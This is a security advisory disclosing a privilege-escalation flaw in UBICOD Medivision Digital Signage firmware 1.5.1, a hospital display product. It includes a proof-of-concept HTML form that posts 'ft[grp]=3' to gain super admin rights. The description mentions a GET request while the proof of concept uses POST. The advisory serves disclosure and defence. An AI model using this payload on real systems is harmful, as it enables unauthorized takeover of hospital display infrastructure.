UBICOD Medivision Digital Signage version 1.5.1 suffers from a privilege escalation vulnerability that is leveraged via authorization bypass.
820973cd5df7aee7a1944b411ccbcd4717d08d064d0a7059f38dee109c049bff
UBICOD Medivision Digital Signage 1.5.1 Privilege Escalation Through Authorization Bypass
Vendor: UBICOD Co., Ltd. | MEDIVISION INC.
Product web page: http://www.medivision.co.kr
Affected version: Firmware 1.5.1 (2013.01.3)
Summary: Medivision is a service that provides everything from DID operation to
development of DID (Digital Information Display) optimized for hospital environment
and production of professional contents, through DID product installation, image,
video content planning, design work, and remote control. This is a one-stop solution
that solves management at once.
Desc: The application suffers from a privilege escalation vulnerability. Normal user
can elevate his/her privileges by navigating to /html/user (via IDOR) page sending an
HTTP GET request setting the parameter 'ft[grp]' to integer value '3' gaining super
admin rights.
Tested on: Apache/2.4.7 (Ubuntu)
PHP/5.5.9-1ubuntu4.22
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2020-5575
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5575.php
19.06.2020
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<html>
<body>
<form action="http://10.0.39.2/query/user/itSet" method="POST">
<input type="hidden" name="aa[_id]" value="157" />
<input type="hidden" name="aa[pass]" value="123456" />
<input type="hidden" name="od[]" value="name" />
<input type="hidden" name="ft[grp]" value="3" />
<input type="hidden" name="ip" value="0" />
<input type="hidden" name="np" value="13" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>